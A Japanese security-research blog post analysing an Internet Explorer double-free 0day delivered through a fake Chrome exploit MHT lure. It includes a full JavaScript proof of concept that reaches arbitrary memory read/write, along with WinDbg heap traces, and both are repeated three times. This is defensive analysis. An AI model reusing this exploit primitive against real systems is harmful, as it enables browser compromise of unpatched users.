今日表示しない
トップへ戻る
トップへ戻る


脆弱性研究
脆弱性研究
脆弱性研究
Internet Explorer 0day 分析
Internet Explorer 0day 分析
Internet Explorer 0day 分析

エンキホワイトハット
エンキホワイトハット
コンテンツ
コンテンツ
コンテンツ
概要
初期攻撃
攻撃者は、Chrome攻撃コードをmacOS向けに変更する作業への参加を要求し、Chromeの脆弱性コードを含んだ文書として「Chrome_85_RCE_Full_Exploit_Code.mht」ファイルを送ってきました。このファイルは、Internet Explorerブラウザを使用して訪問したウェブサイトをローカルに保存する際に使用されるMHTMLファイルです。
該当ファイルはChromeでも一部の内容を確認できますが、JavaScript機能を有効にし、ボタンアクションが動作した際、記事の内容を完全に読み取ることができるように作成されています。これは、攻撃対象がInternet Explorerブラウザを使用するように誘導したものと推定されます。

スクリプトの実行が許可されると、リモート(codevexillium[.]org)から追加のペイロードが2回ダウンロードされ、2回目のペイロードにはInternet Explorerブラウザの脆弱性を悪用する攻撃コードが含まれています。
脆弱性分析
Root Cause Analysis
<!doctype html> <html lang="en"> <head> <meta http-equiv="Cache-Control" content="no-cache"> </head> <body> <script language="javascript"> /* IE Double Free 0day PoC extracted from "Chrome_85_RCE_Full_Exploit_Code.mht" malware Tested on Windows 10 Pro 19042.746, IE11, x64 (20e0.2140): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. jscript9!Js::DataView::SetValue<int,int *>+0x48: 6c903c89 890411 mov dword ptr [ecx+edx],eax ds:002b:41414141=???????? 1:023:x86> r eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=05cfb210 edi=05bacda8 eip=6c903c89 esp=05bacd5c ebp=05bacd5c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 1:023:x86> vertarget Windows 10 Version 19042 MP (8 procs) Free x64 Product: WinNt, suite: SingleUserTS Edition build lab: 19041.1.amd64fre.vb_release.191206-1406 */ String.prototype.repeat = function (size) { return new Array(size + 1).join(this) } function pad0(str) { return ('0000' + str).slice(-4) } function alloc1() { var view = new DataView(abf) var str = '' for (var i = 4; i < abf.byteLength - 2; i += 2) str += '%u' + pad0(view.getUint16(i, true).toString(16)) var result = document.createAttribute('alloc') result.nodeValue = unescape(str) return result } function alloc2() { var dic1 = new ActiveXObject('Scripting.Dictionary') var dic2 = new ActiveXObject('Scripting.Dictionary') dic2.add(0, 1) dic1.add(0, dic2.items()) dic1.add(1, fake) dic1.add(2, [{}]) for (i = 3; i < 0x20010 / 0x10; ++i) dic1.add(i, 0x12341234) return dic1.items() } function dump(nv) { var ab = new ArrayBuffer(0x20010) var view = new DataView(ab) for (var i = 0; i < nv.length; ++i) view.setUint16(i * 2 + 4, nv.charCodeAt(i), true) return ab } function Data(type, value) { this.type = type this.value = value } function setData(i, data) { var arr = new Uint32Array(abf) arr[i * 4] = data.type arr[i * 4 + 2] = data.value } function flush() { hd1.nodeValue = (new alloc1()).nodeValue hd2.nodeValue = 0 hd2 = hd1.cloneNode() } function read(addr, size) { switch (size) { case 8: return god.getUint8(addr) case 16: return god.getUint16(addr, true) case 32: return god.getUint32(addr, true) } } function write(addr, value, size) { switch (size) { case 8: return god.setUint8(addr, value) case 16: return god.setUint16(addr, value, true) case 32: return god.setUint32(addr, value, true) } } var god var fake = new ArrayBuffer(0x100) var abf = new ArrayBuffer(0x20010) var leak = alloc2() var hd0 = document.createAttribute('handle') var hd1 = document.createAttribute('handle') var hd2 var ele = document.createElement('element') var att = document.createAttribute('attribute') att.nodeValue = { valueOf: function() { hd1.nodeValue = (new alloc1()).nodeValue ele.clearAttributes() hd2 = hd1.cloneNode() ele.setAttribute('attribute', 1337) } } ele.setAttributeNode(att) ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2)) ele.removeAttributeNode(att) hd0.nodeValue = leak var memory = new Uint32Array(dump(hd2.nodeValue))[6] var VT_I4 = 0x3 var VT_DISPATCH = 0x9 var VT_BYREF = 0x4000 var tmp = new Array(0x10) var mem = new Uint32Array(fake) for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, memory + i * 4)) flush() var ref = new VBArray(hd0.nodeValue) for (var i = 0; i < 0x10; ++i) tmp[i] = ref.getItem(i + 1) ref = null setData(1, new Data(VT_BYREF | VT_I4, tmp[4])) setData(2, new Data(VT_BYREF | VT_I4, tmp[4] + 0x04)) setData(3, new Data(VT_BYREF | VT_I4, tmp[4] + 0x1c)) flush() ref = new VBArray(hd0.nodeValue) var vt = ref.getItem(1) var gc = ref.getItem(2) var bs = ref.getItem(3) ref = null for (var i = 0; i < 16; ++i) mem[i] = tmp[i] mem[4] = bs + 0x40 mem[16] = vt mem[17] = gc mem[24] = 0xffffffff setData(1, new Data(VT_DISPATCH, bs)) flush() ref = new VBArray(hd0.nodeValue) god = new DataView(ref.getItem(1)) ref = null write(0x41414141, 0x42424242, 32) </script> </body> </html>
<!doctype html> <html lang="en"> <head> <meta http-equiv="Cache-Control" content="no-cache"> </head> <body> <script language="javascript"> /* IE Double Free 0day PoC extracted from "Chrome_85_RCE_Full_Exploit_Code.mht" malware Tested on Windows 10 Pro 19042.746, IE11, x64 (20e0.2140): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. jscript9!Js::DataView::SetValue<int,int *>+0x48: 6c903c89 890411 mov dword ptr [ecx+edx],eax ds:002b:41414141=???????? 1:023:x86> r eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=05cfb210 edi=05bacda8 eip=6c903c89 esp=05bacd5c ebp=05bacd5c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 1:023:x86> vertarget Windows 10 Version 19042 MP (8 procs) Free x64 Product: WinNt, suite: SingleUserTS Edition build lab: 19041.1.amd64fre.vb_release.191206-1406 */ String.prototype.repeat = function (size) { return new Array(size + 1).join(this) } function pad0(str) { return ('0000' + str).slice(-4) } function alloc1() { var view = new DataView(abf) var str = '' for (var i = 4; i < abf.byteLength - 2; i += 2) str += '%u' + pad0(view.getUint16(i, true).toString(16)) var result = document.createAttribute('alloc') result.nodeValue = unescape(str) return result } function alloc2() { var dic1 = new ActiveXObject('Scripting.Dictionary') var dic2 = new ActiveXObject('Scripting.Dictionary') dic2.add(0, 1) dic1.add(0, dic2.items()) dic1.add(1, fake) dic1.add(2, [{}]) for (i = 3; i < 0x20010 / 0x10; ++i) dic1.add(i, 0x12341234) return dic1.items() } function dump(nv) { var ab = new ArrayBuffer(0x20010) var view = new DataView(ab) for (var i = 0; i < nv.length; ++i) view.setUint16(i * 2 + 4, nv.charCodeAt(i), true) return ab } function Data(type, value) { this.type = type this.value = value } function setData(i, data) { var arr = new Uint32Array(abf) arr[i * 4] = data.type arr[i * 4 + 2] = data.value } function flush() { hd1.nodeValue = (new alloc1()).nodeValue hd2.nodeValue = 0 hd2 = hd1.cloneNode() } function read(addr, size) { switch (size) { case 8: return god.getUint8(addr) case 16: return god.getUint16(addr, true) case 32: return god.getUint32(addr, true) } } function write(addr, value, size) { switch (size) { case 8: return god.setUint8(addr, value) case 16: return god.setUint16(addr, value, true) case 32: return god.setUint32(addr, value, true) } } var god var fake = new ArrayBuffer(0x100) var abf = new ArrayBuffer(0x20010) var leak = alloc2() var hd0 = document.createAttribute('handle') var hd1 = document.createAttribute('handle') var hd2 var ele = document.createElement('element') var att = document.createAttribute('attribute') att.nodeValue = { valueOf: function() { hd1.nodeValue = (new alloc1()).nodeValue ele.clearAttributes() hd2 = hd1.cloneNode() ele.setAttribute('attribute', 1337) } } ele.setAttributeNode(att) ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2)) ele.removeAttributeNode(att) hd0.nodeValue = leak var memory = new Uint32Array(dump(hd2.nodeValue))[6] var VT_I4 = 0x3 var VT_DISPATCH = 0x9 var VT_BYREF = 0x4000 var tmp = new Array(0x10) var mem = new Uint32Array(fake) for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, memory + i * 4)) flush() var ref = new VBArray(hd0.nodeValue) for (var i = 0; i < 0x10; ++i) tmp[i] = ref.getItem(i + 1) ref = null setData(1, new Data(VT_BYREF | VT_I4, tmp[4])) setData(2, new Data(VT_BYREF | VT_I4, tmp[4] + 0x04)) setData(3, new Data(VT_BYREF | VT_I4, tmp[4] + 0x1c)) flush() ref = new VBArray(hd0.nodeValue) var vt = ref.getItem(1) var gc = ref.getItem(2) var bs = ref.getItem(3) ref = null for (var i = 0; i < 16; ++i) mem[i] = tmp[i] mem[4] = bs + 0x40 mem[16] = vt mem[17] = gc mem[24] = 0xffffffff setData(1, new Data(VT_DISPATCH, bs)) flush() ref = new VBArray(hd0.nodeValue) god = new DataView(ref.getItem(1)) ref = null write(0x41414141, 0x42424242, 32) </script> </body> </html>
<!doctype html> <html lang="en"> <head> <meta http-equiv="Cache-Control" content="no-cache"> </head> <body> <script language="javascript"> /* IE Double Free 0day PoC extracted from "Chrome_85_RCE_Full_Exploit_Code.mht" malware Tested on Windows 10 Pro 19042.746, IE11, x64 (20e0.2140): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. jscript9!Js::DataView::SetValue<int,int *>+0x48: 6c903c89 890411 mov dword ptr [ecx+edx],eax ds:002b:41414141=???????? 1:023:x86> r eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=05cfb210 edi=05bacda8 eip=6c903c89 esp=05bacd5c ebp=05bacd5c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 1:023:x86> vertarget Windows 10 Version 19042 MP (8 procs) Free x64 Product: WinNt, suite: SingleUserTS Edition build lab: 19041.1.amd64fre.vb_release.191206-1406 */ String.prototype.repeat = function (size) { return new Array(size + 1).join(this) } function pad0(str) { return ('0000' + str).slice(-4) } function alloc1() { var view = new DataView(abf) var str = '' for (var i = 4; i < abf.byteLength - 2; i += 2) str += '%u' + pad0(view.getUint16(i, true).toString(16)) var result = document.createAttribute('alloc') result.nodeValue = unescape(str) return result } function alloc2() { var dic1 = new ActiveXObject('Scripting.Dictionary') var dic2 = new ActiveXObject('Scripting.Dictionary') dic2.add(0, 1) dic1.add(0, dic2.items()) dic1.add(1, fake) dic1.add(2, [{}]) for (i = 3; i < 0x20010 / 0x10; ++i) dic1.add(i, 0x12341234) return dic1.items() } function dump(nv) { var ab = new ArrayBuffer(0x20010) var view = new DataView(ab) for (var i = 0; i < nv.length; ++i) view.setUint16(i * 2 + 4, nv.charCodeAt(i), true) return ab } function Data(type, value) { this.type = type this.value = value } function setData(i, data) { var arr = new Uint32Array(abf) arr[i * 4] = data.type arr[i * 4 + 2] = data.value } function flush() { hd1.nodeValue = (new alloc1()).nodeValue hd2.nodeValue = 0 hd2 = hd1.cloneNode() } function read(addr, size) { switch (size) { case 8: return god.getUint8(addr) case 16: return god.getUint16(addr, true) case 32: return god.getUint32(addr, true) } } function write(addr, value, size) { switch (size) { case 8: return god.setUint8(addr, value) case 16: return god.setUint16(addr, value, true) case 32: return god.setUint32(addr, value, true) } } var god var fake = new ArrayBuffer(0x100) var abf = new ArrayBuffer(0x20010) var leak = alloc2() var hd0 = document.createAttribute('handle') var hd1 = document.createAttribute('handle') var hd2 var ele = document.createElement('element') var att = document.createAttribute('attribute') att.nodeValue = { valueOf: function() { hd1.nodeValue = (new alloc1()).nodeValue ele.clearAttributes() hd2 = hd1.cloneNode() ele.setAttribute('attribute', 1337) } } ele.setAttributeNode(att) ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2)) ele.removeAttributeNode(att) hd0.nodeValue = leak var memory = new Uint32Array(dump(hd2.nodeValue))[6] var VT_I4 = 0x3 var VT_DISPATCH = 0x9 var VT_BYREF = 0x4000 var tmp = new Array(0x10) var mem = new Uint32Array(fake) for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, memory + i * 4)) flush() var ref = new VBArray(hd0.nodeValue) for (var i = 0; i < 0x10; ++i) tmp[i] = ref.getItem(i + 1) ref = null setData(1, new Data(VT_BYREF | VT_I4, tmp[4])) setData(2, new Data(VT_BYREF | VT_I4, tmp[4] + 0x04)) setData(3, new Data(VT_BYREF | VT_I4, tmp[4] + 0x1c)) flush() ref = new VBArray(hd0.nodeValue) var vt = ref.getItem(1) var gc = ref.getItem(2) var bs = ref.getItem(3) ref = null for (var i = 0; i < 16; ++i) mem[i] = tmp[i] mem[4] = bs + 0x40 mem[16] = vt mem[17] = gc mem[24] = 0xffffffff setData(1, new Data(VT_DISPATCH, bs)) flush() ref = new VBArray(hd0.nodeValue) god = new DataView(ref.getItem(1)) ref = null write(0x41414141, 0x42424242, 32) </script> </body> </html>
上記は、脆弱性の根本原因を分析するために攻撃コードから抽出した、バグをトリガーするPoCコードです。分析の結果、攻撃者が使用したバグは、DOMオブジェクトの属性値の解放部分で発生するDouble Freeバグであることが確認されました。
eax=0eab29a4 ebx=0bdbb518 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb4cc eip=75594d20 esp=0bdbb4c4 ebp=0bdbb4d4 iopl=0 nv up ei pl zr na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000247 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> dd esp l2 0bdbb4c4 6dbf32d6 12564ff4 0:010> !heap -p -a 12564ff4-4 address 12564ff0 found in _DPH_HEAP_ROOT @ 3971000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 12560f70: 12564ff0 20010 - 12564000 22000 6e1194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c 778c158b ntdll!RtlDebugAllocateHeap+0x0000003c 77881445 ntdll!RtlpAllocateHeap+0x00065745 7781ad5e ntdll!RtlAllocateHeap+0x0000013e 76dab056 combase!CRetailMalloc_Alloc+0x00000016 [d:\blue\com\combase\class\memapi.cxx @ 641] 75595174 OLEAUT32!APP_DATA::AllocCachedMem+0x0000005f 7559524f OLEAUT32!SysAllocString+0x0000007f 665249eb MSHTML!FormsAllocStringW+0x00000015 66bcaafe MSHTML!CAttrArray::Set+0x00000255 66b5f589 MSHTML!CBase::InvokeAA+0x0000010e 66b5ecc0 MSHTML!CElement::ie9_setAttributeNSInternal+0x00000222 66816392 MSHTML!CElement::Var_setAttribute+0x00000152 668163f4 MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0x00000044 661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069 0:010> k # ChildEBP RetAddr 00 0bc9b500 6dbf32d6 OLEAUT32!SysFreeString 01 0bc9b514 66b83950 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26 02 0bc9b540 66f29271 MSHTML!CAttrArray::Free+0x117 03 0bc9b56c 66f376ad MSHTML!CAttrArray::Clear+0xeb 04 0bc9b5ac 6724a6c2 MSHTML!CElement::clearAttributes+0xfd 05 0bc9b5c8 661e6eee MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x32 06 0bc9b604 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69 0:010> g Breakpoint 1 hit eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb45c eip=75594d20 esp=0bdbb454 ebp=0bdbb464 iopl=0 nv up ei pl zr na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000247 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> g Breakpoint 1 hit eax=00000000 ebx=00000008 ecx=0bdbb540 edx=01000000 esi=00000000 edi=0bdbb540 eip=75594d20 esp=0bdbb4c8 ebp=0bdbb4e0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> g Breakpoint 1 hit eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbbbf8 eip=75594d20 esp=0bdbbbf0 ebp=0bdbbc00 iopl=0 nv up ei pl zr na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000247 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> dd esp l2 0bdbbbf0 6dbf32d6 12564ff4 0:010> !heap -p -a 12564ff4-4 address 12564ff0 found in _DPH_HEAP_ROOT @ 3971000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 12560f70: 12564000 22000 6e119712 verifier!AVrfDebugPageHeapFree+0x000000c2 778c1da2 ntdll!RtlDebugFreeHeap+0x0000003c 778805db ntdll!RtlpFreeHeap+0x00066d3b 778194d8 ntdll!RtlFreeHeap+0x00000478 76daafcb combase!CRetailMalloc_Free+0x0000001b [d:\blue\com\combase\class\memapi.cxx @ 687] 755950ad OLEAUT32!APP_DATA::FreeCachedMem+0x000000a7 755fae5d OLEAUT32!SysFreeStringImpl+0x0000007d 755faeca OLEAUT32!SysReleaseString+0x0000001a 755c6b3e OLEAUT32!SysFreeString+0x00000013 6dbf32d6 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x00000026 66b83950 MSHTML!CAttrArray::Free+0x00000117 66f29271 MSHTML!CAttrArray::Clear+0x000000eb 66f376ad MSHTML!CElement::clearAttributes+0x000000fd 6724a6c2 MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x00000032 661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069 0:010> k # ChildEBP RetAddr 00 0bbbbb0c 6dbf32d6 OLEAUT32!SysFreeString 01 0bbbbb20 669f5adf IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26 02 0bbbbb30 6656601b MSHTML!CAttrValue::Free+0x5c 03 0bbbbb74 670178d1 MSHTML!CAttrArray::Destroy+0x7f 04 0bbbbb84 66f40b41 MSHTML!CBase::DeleteAt+0x2b 05 0bbbbbdc 66f4094b MSHTML!CElement::ie9_removeAttributeNodeInternal+0x1a1 06 0bbbbc24 67258afd MSHTML!CElement::ie9_removeAttributeNode+0xbb 07 0bbbbc70 661e6eee MSHTML!CFastDOM::CElement::Trampoline_removeAttributeNode+0x6d 08 0bbbbcac 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69
eax=0eab29a4 ebx=0bdbb518 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb4cc eip=75594d20 esp=0bdbb4c4 ebp=0bdbb4d4 iopl=0 nv up ei pl zr na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000247 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> dd esp l2 0bdbb4c4 6dbf32d6 12564ff4 0:010> !heap -p -a 12564ff4-4 address 12564ff0 found in _DPH_HEAP_ROOT @ 3971000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 12560f70: 12564ff0 20010 - 12564000 22000 6e1194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c 778c158b ntdll!RtlDebugAllocateHeap+0x0000003c 77881445 ntdll!RtlpAllocateHeap+0x00065745 7781ad5e ntdll!RtlAllocateHeap+0x0000013e 76dab056 combase!CRetailMalloc_Alloc+0x00000016 [d:\blue\com\combase\class\memapi.cxx @ 641] 75595174 OLEAUT32!APP_DATA::AllocCachedMem+0x0000005f 7559524f OLEAUT32!SysAllocString+0x0000007f 665249eb MSHTML!FormsAllocStringW+0x00000015 66bcaafe MSHTML!CAttrArray::Set+0x00000255 66b5f589 MSHTML!CBase::InvokeAA+0x0000010e 66b5ecc0 MSHTML!CElement::ie9_setAttributeNSInternal+0x00000222 66816392 MSHTML!CElement::Var_setAttribute+0x00000152 668163f4 MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0x00000044 661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069 0:010> k # ChildEBP RetAddr 00 0bc9b500 6dbf32d6 OLEAUT32!SysFreeString 01 0bc9b514 66b83950 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26 02 0bc9b540 66f29271 MSHTML!CAttrArray::Free+0x117 03 0bc9b56c 66f376ad MSHTML!CAttrArray::Clear+0xeb 04 0bc9b5ac 6724a6c2 MSHTML!CElement::clearAttributes+0xfd 05 0bc9b5c8 661e6eee MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x32 06 0bc9b604 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69 0:010> g Breakpoint 1 hit eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb45c eip=75594d20 esp=0bdbb454 ebp=0bdbb464 iopl=0 nv up ei pl zr na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000247 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> g Breakpoint 1 hit eax=00000000 ebx=00000008 ecx=0bdbb540 edx=01000000 esi=00000000 edi=0bdbb540 eip=75594d20 esp=0bdbb4c8 ebp=0bdbb4e0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> g Breakpoint 1 hit eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbbbf8 eip=75594d20 esp=0bdbbbf0 ebp=0bdbbc00 iopl=0 nv up ei pl zr na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000247 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> dd esp l2 0bdbbbf0 6dbf32d6 12564ff4 0:010> !heap -p -a 12564ff4-4 address 12564ff0 found in _DPH_HEAP_ROOT @ 3971000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 12560f70: 12564000 22000 6e119712 verifier!AVrfDebugPageHeapFree+0x000000c2 778c1da2 ntdll!RtlDebugFreeHeap+0x0000003c 778805db ntdll!RtlpFreeHeap+0x00066d3b 778194d8 ntdll!RtlFreeHeap+0x00000478 76daafcb combase!CRetailMalloc_Free+0x0000001b [d:\blue\com\combase\class\memapi.cxx @ 687] 755950ad OLEAUT32!APP_DATA::FreeCachedMem+0x000000a7 755fae5d OLEAUT32!SysFreeStringImpl+0x0000007d 755faeca OLEAUT32!SysReleaseString+0x0000001a 755c6b3e OLEAUT32!SysFreeString+0x00000013 6dbf32d6 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x00000026 66b83950 MSHTML!CAttrArray::Free+0x00000117 66f29271 MSHTML!CAttrArray::Clear+0x000000eb 66f376ad MSHTML!CElement::clearAttributes+0x000000fd 6724a6c2 MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x00000032 661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069 0:010> k # ChildEBP RetAddr 00 0bbbbb0c 6dbf32d6 OLEAUT32!SysFreeString 01 0bbbbb20 669f5adf IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26 02 0bbbbb30 6656601b MSHTML!CAttrValue::Free+0x5c 03 0bbbbb74 670178d1 MSHTML!CAttrArray::Destroy+0x7f 04 0bbbbb84 66f40b41 MSHTML!CBase::DeleteAt+0x2b 05 0bbbbbdc 66f4094b MSHTML!CElement::ie9_removeAttributeNodeInternal+0x1a1 06 0bbbbc24 67258afd MSHTML!CElement::ie9_removeAttributeNode+0xbb 07 0bbbbc70 661e6eee MSHTML!CFastDOM::CElement::Trampoline_removeAttributeNode+0x6d 08 0bbbbcac 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69
eax=0eab29a4 ebx=0bdbb518 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb4cc eip=75594d20 esp=0bdbb4c4 ebp=0bdbb4d4 iopl=0 nv up ei pl zr na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000247 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> dd esp l2 0bdbb4c4 6dbf32d6 12564ff4 0:010> !heap -p -a 12564ff4-4 address 12564ff0 found in _DPH_HEAP_ROOT @ 3971000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 12560f70: 12564ff0 20010 - 12564000 22000 6e1194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c 778c158b ntdll!RtlDebugAllocateHeap+0x0000003c 77881445 ntdll!RtlpAllocateHeap+0x00065745 7781ad5e ntdll!RtlAllocateHeap+0x0000013e 76dab056 combase!CRetailMalloc_Alloc+0x00000016 [d:\blue\com\combase\class\memapi.cxx @ 641] 75595174 OLEAUT32!APP_DATA::AllocCachedMem+0x0000005f 7559524f OLEAUT32!SysAllocString+0x0000007f 665249eb MSHTML!FormsAllocStringW+0x00000015 66bcaafe MSHTML!CAttrArray::Set+0x00000255 66b5f589 MSHTML!CBase::InvokeAA+0x0000010e 66b5ecc0 MSHTML!CElement::ie9_setAttributeNSInternal+0x00000222 66816392 MSHTML!CElement::Var_setAttribute+0x00000152 668163f4 MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0x00000044 661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069 0:010> k # ChildEBP RetAddr 00 0bc9b500 6dbf32d6 OLEAUT32!SysFreeString 01 0bc9b514 66b83950 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26 02 0bc9b540 66f29271 MSHTML!CAttrArray::Free+0x117 03 0bc9b56c 66f376ad MSHTML!CAttrArray::Clear+0xeb 04 0bc9b5ac 6724a6c2 MSHTML!CElement::clearAttributes+0xfd 05 0bc9b5c8 661e6eee MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x32 06 0bc9b604 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69 0:010> g Breakpoint 1 hit eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb45c eip=75594d20 esp=0bdbb454 ebp=0bdbb464 iopl=0 nv up ei pl zr na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000247 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> g Breakpoint 1 hit eax=00000000 ebx=00000008 ecx=0bdbb540 edx=01000000 esi=00000000 edi=0bdbb540 eip=75594d20 esp=0bdbb4c8 ebp=0bdbb4e0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> g Breakpoint 1 hit eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbbbf8 eip=75594d20 esp=0bdbbbf0 ebp=0bdbbc00 iopl=0 nv up ei pl zr na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000247 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> dd esp l2 0bdbbbf0 6dbf32d6 12564ff4 0:010> !heap -p -a 12564ff4-4 address 12564ff0 found in _DPH_HEAP_ROOT @ 3971000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 12560f70: 12564000 22000 6e119712 verifier!AVrfDebugPageHeapFree+0x000000c2 778c1da2 ntdll!RtlDebugFreeHeap+0x0000003c 778805db ntdll!RtlpFreeHeap+0x00066d3b 778194d8 ntdll!RtlFreeHeap+0x00000478 76daafcb combase!CRetailMalloc_Free+0x0000001b [d:\blue\com\combase\class\memapi.cxx @ 687] 755950ad OLEAUT32!APP_DATA::FreeCachedMem+0x000000a7 755fae5d OLEAUT32!SysFreeStringImpl+0x0000007d 755faeca OLEAUT32!SysReleaseString+0x0000001a 755c6b3e OLEAUT32!SysFreeString+0x00000013 6dbf32d6 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x00000026 66b83950 MSHTML!CAttrArray::Free+0x00000117 66f29271 MSHTML!CAttrArray::Clear+0x000000eb 66f376ad MSHTML!CElement::clearAttributes+0x000000fd 6724a6c2 MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x00000032 661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069 0:010> k # ChildEBP RetAddr 00 0bbbbb0c 6dbf32d6 OLEAUT32!SysFreeString 01 0bbbbb20 669f5adf IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26 02 0bbbbb30 6656601b MSHTML!CAttrValue::Free+0x5c 03 0bbbbb74 670178d1 MSHTML!CAttrArray::Destroy+0x7f 04 0bbbbb84 66f40b41 MSHTML!CBase::DeleteAt+0x2b 05 0bbbbbdc 66f4094b MSHTML!CElement::ie9_removeAttributeNodeInternal+0x1a1 06 0bbbbc24 67258afd MSHTML!CElement::ie9_removeAttributeNode+0xbb 07 0bbbbc70 661e6eee MSHTML!CFastDOM::CElement::Trampoline_removeAttributeNode+0x6d 08 0bbbbcac 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69
デバッグログから、すでに割り当て解除されたヒープ領域をOLEAUT32!SysFreeString関数によってもう一度割り当て解除していることが確認できます。OLEAUT32!SysFreeString APIは、DOMオブジェクトにバインドされる文字列データの属性を解放するときに使用されますが、該当のAPIは内部的にAPP_DATA::FreeCachedMem関数を通じて解放対象のメモリを管理します。
このとき、0x8000サイズ以上のデータはAPP_DATAメモリマネージャーのキャッシュ機能を通さず、デフォルトのプロセスヒープメモリマネージャーを通じて要求後すぐに解放されるため、現在のIEブラウザに適用されているIsolated HeapやDelayed freeなどのメモリ保護機能の影響を受けなくなります。
